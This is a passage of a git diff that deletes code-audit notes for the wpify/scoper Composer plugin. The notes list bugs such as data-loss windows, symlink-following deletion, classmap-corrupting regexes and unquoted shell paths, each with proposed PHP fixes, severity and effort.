`tmp-xxxxxxxxxx` directory and spawns - another install, until the machine runs out of disk or file descriptors. -- The `autorun: false` escape hatch (`src/Plugin.php:119-125`) does not help, because the copied - `extra` would carry `autorun: true`. - -Today the recursion terminates instead because of F1 (`exit()` kills the process at depth 1) — -i.e. one bug is masking another. **Fixing F1 without adding a guard makes this reachable.** - -### Fix - -Two independent guards: - -1. **Pass `--no-plugins` to the nested run.** The nested install of scoped dependencies has no - business loading plugins at all. This is the primary fix and is a one-line addition to the - command built in F1. -2. **Add an explicit re-entrancy flag** for defence in depth: - - ```php - private static bool $running = false; - - public function execute( Event $event ) { - if ( self::$running ) { - $this->io->writeError( 'wpify/scoper: re-entrant invocation detected, skipping.' ); - return; - } - self::$running = true; - try { ... } finally { self::$running = false; } - } - ``` - - With a subprocess (F1) a static flag does not cross the process boundary, so also set and check - an env var (e.g. `WPIFY_SCOPER_RUNNING=1`) via `Platform::putEnv()` / `Platform::getEnv()`. - -Additionally, strip `extra.wpify-scoper` from the generated `$source/composer.json` before writing it -(`src/Plugin.php:175`). - -### Benefit - -Removes an unbounded-recursion foot-gun that a reasonable reading of the README leads users into, -and makes the nested install faster and more predictable by not loading unrelated plugins. - -### Downside / risk - -`--no-plugins` will break users whose scoped dependency set genuinely needs an installer plugin -(e.g. `composer/installers` for a scoped WordPress package). If any such case exists, prefer the -env-var guard alone and leave plugins enabled. Worth checking against real consumer projects before -shipping. - ---- - -## F11 — `composer.json` metadata — **Medium / S** - -Taking the brief's items one at a time, including the two where the premise does not hold. - -### 11a. `composer/composer` in `require` — should be `require-dev` (or accepted deliberately) - -`composer.json:33`: `"composer/composer": "^2.6"`. - -The official plugin documentation () says: - -> You must require the special package called `composer-plugin-api` to define which Plugin API -> versions your plugin is compatible with. […] When developing a plugin, although not required, -> it's useful to add a **require-dev** dependency on `composer/composer` to have IDE autocompletion -> on Composer classes. - -The plugin currently *does* use classes outside the plugin API — `Composer\Console\Application` -(`src/Plugin.php:6`) and `Composer\Factory` (`bin/wpify-scoper:3`). Those are supplied by the -running Composer at runtime regardless of the declaration; requiring `composer/composer` pulls a -second, possibly different, copy into the user's vendor dir and can conflict with the running -Composer. - -**Fix:** implementing F1 (subprocess) and F4 (`BaseCommand`) removes the need for -`Composer\Console\Application` and `Composer\Factory` entirely. Then move `composer/composer` to -`require-dev` and keep only `composer-plugin-api` in `require`. If some non-API class must be kept, -document why and leave the require in place. -**Severity:** Medium. **Effort:** S (once F1/F4 land). - -### 11b. `symfony/console` used directly but not required - -`src/Plugin.php:13-14` imports `Symfony\Component\Console\Input\ArrayInput` and -`Symfony\Component\Console\Output\ConsoleOutput`; `composer.json` never requires -`symfony/console`. It resolves transitively via `composer/composer` (`composer.lock:180`: -`"symfony/console": "^5.4.47 || ^6.4.25 || ^7.1.10 || ^8.0"`; currently installed v8.1.1). - -`ArrayInput` and `ConsoleOutput` are stable across all of those, so this is not currently a -functional bug — but it is an undeclared direct dependency that `composer-require-checker` flags, -and it breaks the moment `composer/composer` moves to `require-dev` (11a). - -**Fix:** if the classes survive the F1/F4 refactor, add -`"symfony/console": "^5.4 || ^6.4 || ^7.0 || ^8.0"` to `require`. If F4 lands, `BaseCommand` needs -it anyway. -**Severity:** Low-Medium. **Effort:** S. - -### 11c. Missing `composer-runtime-api` - -Needed to legitimately use `$GLOBALS['_composer_autoload_path']` (F5) and -`Composer\InstalledVersions` (F7). Add `"composer-runtime-api": "^2.2"` to `require`. -**Severity:** Low. **Effort:** S. - -### 11d. `nikic/php-parser` in `require-dev` while `composer extract` is exposed - -`composer.json:21` declares `"extra": "php ./scripts/extract-symbols.php"`, and -`scripts/extract-symbols.php:3-7` imports `PhpParser\*`, with `nikic/php-parser` only in -`require-dev` (`composer.json:39`). - -This is fine as-is: `scripts` in a non-root package are never executed by consumers, and -`scripts/extract-symbols.php:9` requires `__DIR__ . '/../vendor/autoload.php'` — the *plugin's own* -vendor dir, which only exists in a clone. It is a maintainer-only tool. The one improvement worth -making is a `scripts-descriptions` entry so `composer list` explains it, and a guard that fails -clearly if `PhpParser` is missing. -**Severity:** Low. **Effort:** S. - -### 11e. Missing `keywords`, `homepage`, `support` - -`composer.json` has none of these. Packagist uses them for discovery and for the "Issues"/"Source" -links. - -```json -"keywords": ["wordpress", "woocommerce", "php-scoper", "prefix", "namespace", "composer-plugin", "scoper"], -"homepage": "https://github.com/wpify/scoper", -"support": { - "issues": "https://github.com/wpify/scoper/issues", - "source": "https://github.com/wpify/scoper" -} -``` - -**Severity:** Low. **Effort:** S. - -### 11f. `minimum-stability: stable` is redundant - -`composer.json:23`. `stable` is Composer's default, and `minimum-stability` is **ignored entirely** -in non-root packages. Harmless but noise — remove it. -**Severity:** Low. **Effort:** S. - -### 11g. `repositories` entry for wpackagist — **premise does not hold** - -`composer.json:24-29` adds `https://wpackagist.org`. The brief suggests this "leaks into a published -plugin". It does not: Composer **ignores the `repositories` key of any non-root package** — it is -only honoured in the root `composer.json`. The entry is genuinely required for this repo's own -`require-dev` (`wpackagist-plugin/woocommerce`, `composer.json:41`) and is inert for consumers. - -The one real cost is cosmetic: it shows up on the Packagist page and can confuse readers. Optionally -move the WordPress-source dev packages plus the repository entry into a separate -`tools/composer.json` or a Composer bin-plugin scope. Not required. -**Severity:** Low (informational). **Effort:** S. - -### 11h. `.gitattributes` / package size — **premise does not hold** - -The brief suggests `sources/` bloats the published package. It does not. `.gitignore:3` excludes -`/sources/`, and `git ls-files` shows only **14 tracked files** — the largest being -`symbols/wordpress.php` (197 KB) and `symbols/woocommerce.php` (92 KB), both of which are **required -at runtime** (`src/Plugin.php:226-255`). Dist archives are built from the git tree, so `sources/` is -already absent. - -A `.gitattributes` is still mildly worth adding for hygiene, but the win is small: - -```gitattributes -/docs export-ignore -/scripts/extract-symbols.php export-ignore -/.gitattributes export-ignore -/.gitignore export-ignore -``` - -(Do **not** export-ignore `symbols/` — it is runtime data. `scripts/postinstall.php` is also runtime, -read at `src/Plugin.php:148`.) -**Severity:** Low. **Effort:** S. - -### 11i. `config.allow-plugins` in the package - -`composer.json:60-65` is only honoured in the root `composer.json` (it exists here for this repo's -own dev install of `johnpbloch/wordpress-core-installer`). Correct as-is; no change. - ---- - -## F12 — `exit` inside `createScoperConfig()`; `require_once` for config — **Low / S** - -`src/Plugin.php:212-216`: - -```php -$config = require_once $config_path; - -if ( ! is_array( $config ) ) { - exit; -} -``` - -Two problems: - -1. **`exit` in a Composer plugin.** Same category as F1: it kills the outer Composer process, - skipping the audit and every subsequent listener — and here it exits with code **0**, i.e. a - configuration failure is reported to CI as success. It also prints nothing, so the user gets a - silent, successful-looking no-op. -2. **`require_once` on a value-returning file.** `require_once` returns `true` (not the file's - return value) if the path was already included. `config/scoper.config.php` is a - `return array(...)` file, and `config/scoper.inc.php:5` also does - `require_once __DIR__ . '/scoper.config.php'`. Any future code path that loads it twice in one - process makes `$config` become `true`, hit the `is_array` check, and `exit(0)` — a silent - failure that is very hard to diagnose. `require` is correct for value-returning files. - -**Fix:** - -```php -$config = require $config_path; - -if ( ! is_array( $config ) ) { - throw new \RuntimeException( - sprintf( 'wpify/scoper: %s must return an array, got %s.', $config_path, get_debug_type( $config ) ) - ); -} -``` - -Composer catches the exception and reports it properly with a non-zero exit code. - -**Benefit:** failures are visible and correctly signalled. **Downside:** none. - ---- - -## F13 — Temp directory naming, placement and cleanup — **Low / S** - -`src/Plugin.php:58`: - -```php -'temp' => $this->path( getcwd(), 'tmp-' . substr( str_shuffle( md5( microtime() ) ), 0, 10 ) ), -``` - -- `str_shuffle(md5(microtime()))` is a permutation of a fixed 32-char string — it does not increase - entropy; it draws from `microtime()` (low resolution, predictable) and `str_shuffle`'s non-CSPRNG. - Use `bin2hex(random_bytes(5))` — which is exactly what Composer itself does at - `Console/Application.php:369-370`. -- The directory is created **in the project root**, so a failed run leaves `tmp-xxxxxxxxxx/` - littering the user's repo. It is only removed by `scripts/postinstall.php:67`, i.e. on the - full-success path. There is no cleanup on failure and no `register_shutdown_function` guard. -- A random name per run defeats caching and makes the `composer-deps.json` diff churn (F9). -- `mkdir( $path, 0755, true )` (`src/Plugin.php:280`) ignores its return value and does not respect - the process umask expectations; failures surface later as confusing `file_put_contents` errors. - -**Fix:** use a single stable directory (`$rootDir . '/.wpify-scoper'`), add it to a recommended -`.gitignore` snippet in the README, wipe it at the start of each run, and wrap the whole pipeline in -`try/finally` to clean up. Check `mkdir()`'s return value and throw on failure. Consider -`$composer->getConfig()->get('cache-dir')` if the scratch space should live outside the project. - -**Benefit:** no repo litter, reproducible paths, no churn. -**Downside:** a stable path is a (minor) concurrency hazard if two Composer runs execute in the same -project simultaneously; add a lock file if that matters. - ---- - -## F14 — Silent no-op when `prefix` is missing — **Low / S** - -`src/Plugin.php:127`: `if ( ! empty( $this->prefix ) ) { ... }` — with no `else`. A user who installs -the plugin but forgets `extra.wpify-scoper.prefix` (step 3 of `README.md:26-28`) gets absolutely no -feedback: no scoping, no warning, no error. This is the single most likely first-run failure mode. - -**Fix:** - -```php -if ( empty( $this->prefix ) ) { - $this->io->writeError( - 'wpify/scoper: no "extra.wpify-scoper.prefix" configured in composer.json — skipping scoping.' - ); - return; -} -``` - -(Requires F6 so `$this->io` is actually usable.) Early-return also flattens the 70-line `if` body at -`src/Plugin.php:127-198`. - -**Benefit:** the most common setup mistake becomes self-diagnosing. -**Downside:** users who intentionally install the plugin without a prefix (e.g. it is a transitive -dev dependency) will see a warning on every install. Gate it behind -"`composer-deps.json` exists but no prefix is set" if that is a real scenario. - ---- - -## Suggested sequencing - -1. **F2** (PHP constraint) — one line, ship immediately. -2. **F3** (delete `getCapabilities()`) and **F5** (autoloader lookup) — small, independent, no BC risk. -3. **F1 + F6 + F10** together — the nested-run rewrite. F10's `--no-plugins` / env guard **must** - land in the same change as F1, since F1 unmasks the recursion. -4. **F7 + F12 + F13 + F14** — hardening, all small. -5. **F9** — the `composer-deps.json` refactor (largest single piece). -6. **F4** — `BaseCommand` + `CommandProvider`, alongside F3's provider class. Major version. -7. **F8** and **F11** — cleanup, any time. - -There are no automated tests in the repo. Before touching F1/F9, a smoke test that runs -`composer install` end-to-end against a fixture project with a real `composer-deps.json` (asserting -`deps/scoper-autoload.php` exists, a known symbol is prefixed, and a known WordPress function is -*not*) would make the rest of this list far safer to execute. diff --git a/docs/improvements/02-bugs-and-robustness.md b/docs/improvements/02-bugs-and-robustness.md deleted file mode 100644 index 52756e4..0000000 --- a/docs/improvements/02-bugs-and-robustness.md +++ /dev/null @@ -1,1539 +0,0 @@ -# wpify/scoper — Bugs & Robustness Audit - -Scope: `src/Plugin.php`, `scripts/postinstall.php`, `bin/wpify-scoper`, `config/scoper.inc.php`, -`config/scoper.config.php`, `scripts/extract-symbols.php`. `sources/` and `vendor/` excluded. - -Every finding below was verified by reading the code and, where noted, by executing the exact -expression against real data from this repository. Findings I could not fully confirm are -explicitly labelled **UNCONFIRMED**. - ---- - -## Runtime pipeline (as verified) - -1. `Plugin::activate()` (`src/Plugin.php:51`) reads `extra.wpify-scoper`, computes `folder`, - `prefix`, `globals`, `composerjson`, `composerlock` and a **one-shot random temp dir** - `getcwd()/tmp-XXXXXXXXXX`. -2. `Plugin::execute()` (`src/Plugin.php:116`) is subscribed to `post-install-cmd` / - `post-update-cmd` (`src/Plugin.php:44`). It: - - builds `$temp/source`, `$temp/destination`, - - writes `$temp/scoper.inc.php` + `$temp/scoper.config.php` (`createScoperConfig()`), - - templates `scripts/postinstall.php` into `$temp/postinstall.php` via `str_replace` of - `%%placeholder%%` tokens (`src/Plugin.php:148-157`), - - writes `$temp/source/composer.json` from the user's `composer-deps.json`, injecting a - `post-install-cmd`/`post-update-cmd` script array of three shell commands - (`src/Plugin.php:169-173`), - - runs a **nested in-process Composer** `install`/`update` in `$temp/source` - (`runInstall()`, `src/Plugin.php:290`). -3. The nested Composer runs the three scripts: php-scoper → `dump-autoload --optimize` → - `php $temp/postinstall.php`. -4. `postinstall.php` rewrites `autoload_static.php` and `scoper-autoload.php`, copies the lock - back, `remove($deps)` then `rename($destination/vendor, $deps)`, then `remove($temp)`. - ---- - -## Severity summary - -| # | Finding | Sev | Effort | -|---|---|---|---| -| 1 | `remove($deps)` before `rename()` — unconditional data loss window | **Critical** | S | -| 2 | `remove()` follows symlinks — deletes path-repository sources outside the temp dir | **Critical** | S | -| 3 | `autoload_static.php` regex corrupts unqualified classmap keys | **High** | M | -| 4 | `--no-dev` is unreachable dead code — dev deps always scoped & shipped | **High** | M | -| 5 | Missing `exclude-classes` / `exclude-namespaces` → fatal `TypeError` in the patcher | **High** | S | -| 6 | Malformed `composer-deps.json` → fatal "assign property on null" | **High** | S | -| 7 | Unquoted php-scoper path — breaks on any project path containing a space | **High** | S | -| 8 | `%%placeholder%%` templating into single-quoted PHP — parse errors / code injection | **High** | M | -| 9 | Unchecked `file_get_contents` → `preg_replace(false)` truncates autoload files to empty | **High** | S | -| 10 | `composerlock` derivation can alias `composerjson` → user's config file destroyed | High | S | -| 11 | `realpath()` of php-scoper unchecked → silently broken script command | Medium | S | -| 12 | Nested-install exit code discarded — failures reported as success | Medium | S | -| 13 | `prefix` sanitising regex `/[[a-zA-Z0-9]+]/` does not do what it looks like | Medium | S | -| 14 | Temp dir: weak randomness, project-dir pollution, never cleaned on failure | Medium | M | -| 15 | Patcher rebuilds a 3,392-needle `str_replace` per file (~4.7 ms/file) | Medium | M | -| 16 | `path()` collapses only one doubled separator; mangles absolute/Windows paths | Medium | S | -| 17 | `getCapabilities()` is dead code — `Capable` not implemented | Medium | S | -| 18 | Empty `prefix` → silent no-op, no diagnostic | Medium | S | -| 19 | `require_once` in `createScoperConfig()` returns `true` on second include → `exit` | Medium | S | -| 20 | `array_merge_recursive` never de-duplicated on the plugin side | Low | S | -| 21 | `symbols/plugin-update-checker.php` uses `expose-classes`, contradicted downstream | Low | S | -| 22 | `autorun` strict `=== false` rejects `0`/`"false"` | Low | S | -| 23 | Unchecked `mkdir`/`copy`/`file_put_contents`/`json_encode` throughout | Low–Med | M | -| 24 | `bin/wpify-scoper`: `NullIO`, no exit code, ignores extra argv | Low | S | - ---- - -## 1. `remove($deps)` executes before `rename()` — unconditional data-loss window - -**Location:** `scripts/postinstall.php:62-63` - -```php -remove( $deps ); -rename( path( $destination, 'vendor' ), $deps ); -``` - -**Problem.** The user's existing `deps/` directory is destroyed *first*, and only then is the -new one moved into place. Between those two statements the project has no dependencies at all. -`rename()`'s return value is not checked, so a failure is silent. - -**Reproducing scenarios (all concrete):** - -- **Cross-device rename.** `rename()` fails with `EXDEV` when source and destination are on - different filesystems. This is reachable today: `extra.wpify-scoper.temp` and - `extra.wpify-scoper.folder` are independently configurable (`src/Plugin.php:65-88`), so a user - who points `temp` at a RAM disk / different volume (`"temp": "/tmp/scoper"` — note `path()` - will actually mangle that, see #16) or who has `deps/` on a mounted volume gets: - `deps/` deleted → `rename()` returns `false` → warning printed → script continues → temp dir - removed at line 67 → **the scoped vendor is gone and `deps/` no longer exists**. The build - reports success (see #12). -- **Docker / bind-mount layouts.** A bind-mounted `deps/` inside a container is a different - device from the project temp dir in many setups — same outcome. -- **Interrupt.** Ctrl-C, OOM kill or a CI timeout landing between line 62 and 63 leaves the - project with no `deps/`. Recoverable only by re-running, which is fine — but see #2 for the - non-recoverable variant. -- **Windows.** `rename()` fails if any file under `deps/` is open (editor, IDE indexer, - antivirus, a running PHP-FPM worker). Same silent loss. - -**Fix.** Rename into place atomically, or at minimum verify before destroying: - -```php -$new = path( $destination, 'vendor' ); -$backup = $deps . '.bak-' . getmypid(); - -if ( ! is_dir( $new ) ) { - fwrite( STDERR, "wpify-scoper: scoped vendor not found at {$new}\n" ); - exit( 1 ); -} - -if ( file_exists( $deps ) && ! rename( $deps, $backup ) ) { - fwrite( STDERR, "wpify-scoper: cannot move existing {$deps} aside\n" ); - exit( 1 ); -} - -if ( ! rename( $new, $deps ) ) { - // put the old one back - if ( file_exists( $backup ) ) { - rename( $backup, $deps ); - } - fwrite( STDERR, "wpify-scoper: failed to move scoped vendor into {$deps}\n" ); - exit( 1 ); -} - -remove( $backup ); -``` - -If cross-device support is wanted, fall back to a recursive copy + verify + delete when -`rename()` fails with `EXDEV`. - -**Benefit.** No window in which the project has no dependencies; failures are loud and -recoverable. -**Downside.** Momentarily needs disk space for both the old and new tree (already true for the -temp tree). A few more lines of code. -**Severity:** Critical. **Effort:** S. - ---- - -## 2. `remove()` follows symlinks — deletes files outside the tree it is asked to delete - -**Location:** `scripts/postinstall.php:2-22` - -```php -function remove( $src ) { - if ( is_dir( $src ) ) { - $dir = opendir( $src ); - while ( false !== ( $file = readdir( $dir ) ) ) { ... } - rmdir( $src ); - } elseif ( is_file( $src ) ) { - unlink( $src ); - } -} -``` - -`is_dir()` and `is_file()` both **follow symlinks**. There is no `is_link()` guard anywhere. - -**Reproducing scenario (confirmed reachable).** Composer's `path` repository type symlinks -packages into `vendor/` by default (`"options": {"symlink": true}` is the default when the -filesystem supports it). A user whose `composer-deps.json` contains: - -```json -{ - "repositories": [ { "type": "path", "url": "../my-shared-library" } ], - "require": { "acme/my-shared-library": "@dev" } -} -``` - -gets `$temp/source/vendor/acme/my-shared-library` as a **symlink to `../my-shared-library`**. -`$temp/source/vendor` is *not* renamed away (only `$destination/vendor` is), so it is still -present when line 67 runs: - -```php -remove( $temp ); -``` - -`remove()` descends through the symlink and `unlink()`s every file in the developer's actual -`../my-shared-library` working copy, then `rmdir()`s its directories. **Uncommitted work in a -sibling package is destroyed.** - -Second reachable variant: `$deps` itself being a symlink (a common layout — `deps` symlinked to -a shared location, or the whole plugin directory symlinked into a WP install). `remove($deps)` -at line 62 then wipes the *target*, and `rename()` at line 63 replaces the symlink, silently -changing the project layout. - -Third: any dependency that legitimately ships a symlink inside its own tree. - -**Fix.** Guard on `is_link()` before recursing, and use `lstat`-based checks: - -```php -function remove( $src ) { - if ( is_link( $src ) ) { - // never follow: remove the link itself - if ( ! @unlink( $src ) ) { - @rmdir( $src ); // Windows dir junctions - } - return; - } - - if ( is_dir( $src ) ) { ... } -} -``` - -Also add `readdir` / `unlink` / `rmdir` failure handling — a single unremovable file currently -makes `rmdir()` fail silently and leaves a partial tree behind (see #14). - -**Benefit.** Eliminates the only path in the codebase that can destroy files outside the -project's own temp/deps directories. -**Downside.** None. A dangling symlink left in `deps/` after the change is harmless. -**Severity:** Critical. **Effort:** S. - ---- - -## 3. The `autoload_static.php` rewrite corrupts unqualified classmap keys - -**Location:** `scripts/postinstall.php:39-46` - -```php -$autoload_static = preg_replace( - "/'([[:alnum:]]+)'\s*=>\s*([a-zA-Z0-9 .'\"\/\-_]+),/", - "'" . $prefix . "\\1' => \\2,", - $autoload_static -); -``` - -**Intent.** Composer's optimized autoloader stores `$files` under md5 identifiers and -de-duplicates through `$GLOBALS['__composer_autoload_files'][$fileIdentifier]`. If the scoped -vendor reuses the host project's identifiers, its bootstrap files are skipped. Prefixing the -identifiers is the correct fix, and the regex does achieve it. - -**Bug.** The pattern is applied to the *whole file* and is not restricted to the `$files` array. -Any `$classMap` entry whose key is a single unqualified `[A-Za-z0-9]+` class name also matches. - -**Verified.** Running the exact expression against this repository's own -`vendor/composer/autoload_static.php` changed **30 lines**: the 16 intended `$files` entries and -**14 unintended `$classMap` entries**: - -``` -- 'Attribute' => __DIR__ . '/..' . '/symfony/polyfill-php80/Resources/stubs/Attribute.php', -+ 'mydepsnamespaceAttribute' => __DIR__ . '/..' . '/symfony/polyfill-php80/Resources/stubs/Attribute.php', - -- 'Normalizer' => __DIR__ . '/..' . '/symfony/polyfill-intl-normalizer/Resources/stubs/Normalizer.php', -+ 'mydepsnamespaceNormalizer' => ... -``` - -Also hit: `CURLStringFile`, `DelayedTargetValidation`, `Deprecated`, `JsonException`, -`NoDiscard`, `PhpToken`, `ReflectionConstant`, `Stringable`, `UnhandledMatchError`, `ValueError`. - -A corrupted key means the class is **no longer autoloadable from the scoped vendor**. - -**Which entries actually survive into a scoped classmap.** php-scoper leaves symbols it -classifies as *internal* (PHP core + extension symbols, sourced from the PhpStormStubs maps) -unprefixed. Class names it does prefix become `Prefix\Foo`, which contains backslashes and -therefore cannot match `[[:alnum:]]+`. So the victims are exactly the classes that stay global: - -- **Polyfill stubs.** `symfony/polyfill-intl-normalizer` ships a global `Normalizer` stub; this - is a transitive dependency of a large fraction of Composer packages. On a host **without - ext-intl**, the class is now unreachable → `Error: Class "Normalizer" not found` at runtime. - Same shape for `symfony/polyfill-php7x` stubs on older runtimes. -- **Explicitly excluded WordPress/WooCommerce classes.** Of the 1,219 `exclude-classes` entries - in `symbols/*.php`, **49 are pure alnum** and would be corrupted if a dependency declared - them: `PclZip`, `wpdb`, `getID3`, `Walker`, `WP`, `SimplePie`, `AtomParser`, `PO`, `MO`, - `Translations`, `PasswordHash`, `Snoopy`, `SodiumException`, `Requests`, `POP3`, - `WooCommerce`, `ActionScheduler`, `CronExpression`, `MagpieRSS`, `RSSCache`, `ftp`, … . - -**UNCONFIRMED:** I did not run a full scoping pass end-to-end, so I could not observe a scoped -`autoload_static.php` directly. The reasoning about which keys php-scoper leaves unprefixed is -inference from php-scoper's documented internal-symbol handling, not observation. The regex -behaviour itself *is* confirmed against a real Composer-generated file. - -**Fix.** Rewrite only the `$files` array, not the whole file. Either slice the block first: - -```php -$autoload_static = preg_replace_callback( - '/(public static \$files = array \()(.*?)(^\s*\);)/ms', - static function ( array $m ) use ( $prefix ) { - $body = preg_replace( "/^(\s*)'([0-9a-f]{32})'/m", "$1'" . $prefix . "$2'", $m[2] ); - return $m[1] . $body . $m[3]; - }, - $autoload_static -); -``` - -or, far more robustly, drop the regex entirely and set `"config": {"autoloader-suffix": $prefix}` -in the generated `$source/composer.json` — Composer then namespaces the whole static-init class, -and additionally use a distinct `$files` identifier salt. (Note: `autoloader-suffix` alone does -*not* change the `$files` md5 keys, so the `$files` prefixing is still needed; but scoping the -edit to the `$files` block is sufficient and minimal.) - -**Benefit.** Removes an entire class of "class not found only on some hosts" bugs that are -extremely hard to diagnose in shipped WordPress plugins. -**Downside.** The block-scoped regex is tied to Composer's generated formatting; if Composer -changes it, the `$files` prefixing silently stops happening (add a `preg_match` assertion + hard -failure when the `$files` block is not found). -**Severity:** High. **Effort:** M. - ---- - -## 4. `--no-dev` is unreachable dead code — dev dependencies are always scoped and shipped - -**Locations:** `src/Plugin.php:19,21` (constants), `src/Plugin.php:191-197`, -`src/Plugin.php:104-108` (`getCapabilities`), `bin/wpify-scoper:14-20` - -```php -$useDevDependencies = true; - -if ( $event->getName() === self::SCOPER_UPDATE_NO_DEV_CMD || $event->getName() === self::SCOPER_INSTALL_NO_DEV_CMD ) { - $useDevDependencies = false; -} -``` - -`SCOPER_INSTALL_NO_DEV_CMD` / `SCOPER_UPDATE_NO_DEV_CMD` are never produced by anything: - -- `bin/wpify-scoper` maps only `install` → `SCOPER_INSTALL_CMD` and `update` → - `SCOPER_UPDATE_CMD`. Any other argv value prints usage and exits. -- `getCapabilities()` would register a `CommandProvider`, but **`Plugin` does not implement - `Composer\Plugin\Capable`** (`src/Plugin.php:16` — verified: only `PluginInterface` and - `EventSubscriberInterface`). Composer's `PluginManager` calls `getCapabilities()` only on - `Capable` plugins, so the method is never invoked. Even if it were, it maps - `CommandProvider::class => self::class` and `Plugin` does not implement `CommandProvider`, - which Composer rejects with a `RuntimeException`. - -**Consequence.** `$useDevDependencies` is always `true`. The nested install -(`src/Plugin.php:290-305`) always passes `--no-dev => false`, so **every `require-dev` entry of -`composer-deps.json` is installed, scoped, and moved into the shipped `deps/` folder** — even -when the outer command was `composer install --no-dev` in a production build or release -pipeline. This bloats and potentially leaks development tooling into distributed WordPress -plugins. - -**Fix (two parts).** - -1. Propagate the outer dev mode. `Composer\Script\Event::isDevMode()` reports whether the - triggering install/update ran with dev dependencies: - - ```php - $useDevDependencies = $event->isDevMode(); - ``` - - (`bin/wpify-scoper` constructs `new Event($command, $composer, $io)` with `$devMode` - defaulting to `false`, which is the right default for a manual scoping run; pass it - explicitly based on a `--no-dev` flag.) -2. Either delete the two unused constants and `getCapabilities()`, or make them real: - `implements Capable`, a separate class implementing `CommandProvider`, and a - `--no-dev` option on `bin/wpify-scoper`. - -**Benefit.** Correct production builds; smaller shipped artifacts; removes misleading dead code. -**Downside.** Behaviour change for existing users who (unknowingly) relied on dev deps ending up -in `deps/`. Worth a note in the changelog. -**Severity:** High. **Effort:** M. - ---- - -## 5. Missing `exclude-classes` / `exclude-namespaces` → fatal `TypeError` in the patcher - -**Location:** `config/scoper.inc.php:79-101` - -```php -usort( $config['exclude-classes'], function ( $a, $b ) { ... } ); -... -foreach ( $config['exclude-namespaces'] as $symbol ) { ... } -``` - -`$config` here is `$temp/scoper.config.php`, written by `Plugin::createScoperConfig()` -(`src/Plugin.php:263`). That array only gains `exclude-classes` / `exclude-namespaces` if one of -the symbol files merged at `src/Plugin.php:223-256` supplies them. - -**Reproducing scenarios (verified against the actual symbol files):** - -- `"globals": []` — no symbol file is merged. `$config` is - `['prefix','source','destination','exclude-constants']`. First patched file → - `Warning: Undefined array key "exclude-classes"` → `usort(null, …)` → - **`TypeError: usort(): Argument #1 ($array) must be of type array, null given`** (confirmed by - execution). php-scoper aborts, composer aborts the script chain, the temp dir is orphaned. -- `"globals": ["plugin-update-checker"]` — verified: `symbols/plugin-update-checker.php` - contains **only** `expose-classes` (33 entries). No `exclude-classes`, no - `exclude-namespaces` → identical fatal. - -Note `"globals": []` is not exotic: it is the natural configuration for scoping a non-WordPress -dependency set, and the README documents `globals` as optional. - -**Fix.** Defensive defaults at the point of use, plus normalisation at the point of generation: - -```php -// config/scoper.inc.php -$excludeClasses = $config['exclude-classes'] ?? array(); -$excludeNamespaces = $config['exclude-namespaces'] ?? array(); -``` - -and in `Plugin::createScoperConfig()`, seed the keys: - -```php -$config += array( - 'exclude-classes' => array(), - 'exclude-namespaces' => array(), - 'exclude-functions' => array(), -); -``` - -**Benefit.** `globals: []` and single-global configurations work. -**Downside.** None. -**Severity:** High. **Effort:** S. - ---- - -## 6. Malformed / unreadable `composer-deps.json` → fatal "assign property on null" - -**Location:** `src/Plugin.php:134-146` - -```php -$composerJson = json_decode( file_get_contents( ... ), false ); -... -if ( empty( $composerJson->scripts ) ) { - $composerJson->scripts = (object) array(); -} -``` - -No `json_last_error()` check, no `file_get_contents()` check. - -**Reproducing scenario.** A user edits `composer-deps.json` and leaves a trailing comma or an -unclosed brace, then runs `composer update`. `json_decode` returns `null`; -`empty($composerJson->scripts)` emits `Warning: Attempt to read property "scripts" on null` and -evaluates true; the assignment then throws -**`Error: Attempt to assign property "scripts" on null`** (confirmed by execution). The user -sees a raw PHP fatal from inside a Composer plugin, with no indication that their -`composer-deps.json` is the culprit. Same outcome if the file is unreadable (permissions). - -Related: if the decoded value is a scalar (`composer-deps.json` containing `"hello"` or `[]`), -`$composerJson->scripts` on a string/array is likewise fatal or silently wrong. - -**Fix.** - -```php -$path = $this->path( getcwd(), $this->composerjson ); -$raw = file_get_contents( $path ); - -if ( false === $raw ) { - throw new \RuntimeException( sprintf( 'wpify-scoper: cannot read %s', $path ) ); -} - -$composerJson = json_decode( $raw, false ); - -if ( ! $composerJson instanceof \stdClass ) { - throw new \RuntimeException( sprintf( - 'wpify-scoper: %s is not valid JSON (%s)', $path, json_last_error_msg() - ) ); -} -``` - -Composer catches exceptions from script handlers and prints them cleanly. - -**Benefit.** Actionable error instead of a PHP fatal. -**Downside.** None. -**Severity:** High. **Effort:** S. - ---- - -## 7. Unquoted php-scoper path — breaks on any project path containing a space - -**Location:** `src/Plugin.php:167-173` - -```php -$phpscoper = realpath( __DIR__ . '/../../php-scoper/bin/php-scoper.phar' ); - -$composerJson->scripts->{$scriptName} = array( - $phpscoper . ' add-prefix --output-dir="' . $destination . '" --force --config="' . $scoperConfig . '"', - 'composer dump-autoload --working-dir="' . $destination . '" --optimize', - 'php "' . $postinstallPath . '"', -); -``` - -The `--output-dir`, `--config` and `php "…"` arguments are quoted; **`$phpscoper` itself is -not**. - -**Reproducing scenario.** A macOS user with the project at -`/Users/Jane Doe/Sites/my-plugin` runs `composer update`. Composer executes the script through -a shell, which splits on the space: - -``` -sh: /Users/Jane: No such file or directory -``` - -Windows (`C:\Program Files\…`, or any user profile with a space) has the same failure. This is -common enough on macOS and Windows to be a first-run blocker. - -Secondary, Windows-specific: the phar is invoked directly and relies on its `#!/usr/bin/env php` -shebang plus the executable bit (verified present: `-rwxr-xr-x php-scoper.phar`). Windows has no -shebang handling — `.phar` is not an executable extension by default, so the command fails -regardless of quoting. - -**Fix.** - -```php -$php = ( new PhpExecutableFinder() )->find() ?: 'php'; -$phpscoper = realpath( __DIR__ . '/../../php-scoper/bin/php-scoper.phar' ); - -$composerJson->scripts->{$scriptName} = array( - sprintf( '%s %s add-prefix --output-dir=%s --force --config=%s', - ProcessExecutor::escape( $php ), - ProcessExecutor::escape( $phpscoper ), - ProcessExecutor::escape( $destination ), - ProcessExecutor::escape( $scoperConfig ) - ), - ... -); -``` - -`Composer\Util\ProcessExecutor::escape()` and `Symfony\Component\Process\PhpExecutableFinder` -are both already available (Composer is a hard dependency). Invoking via `php ` also fixes -Windows. - -**Benefit.** Works for every path; works on Windows; uses the same PHP binary Composer runs -under instead of whatever `php` resolves to on `PATH`. -**Downside.** None. -**Severity:** High. **Effort:** S. - ---- - -## 8. `%%placeholder%%` templating injects raw values into single-quoted PHP literals - -**Location:** `src/Plugin.php:148-157` → `scripts/postinstall.php:30-36` - -```php -$postinstall = str_replace( '%%source%%', $source, $postinstall ); -... -$postinstall = str_replace( '%%prefix%%', $this->prefix, $postinstall ); -``` - -Template side: - -```php -$source = '%%source%%'; -$cwd = 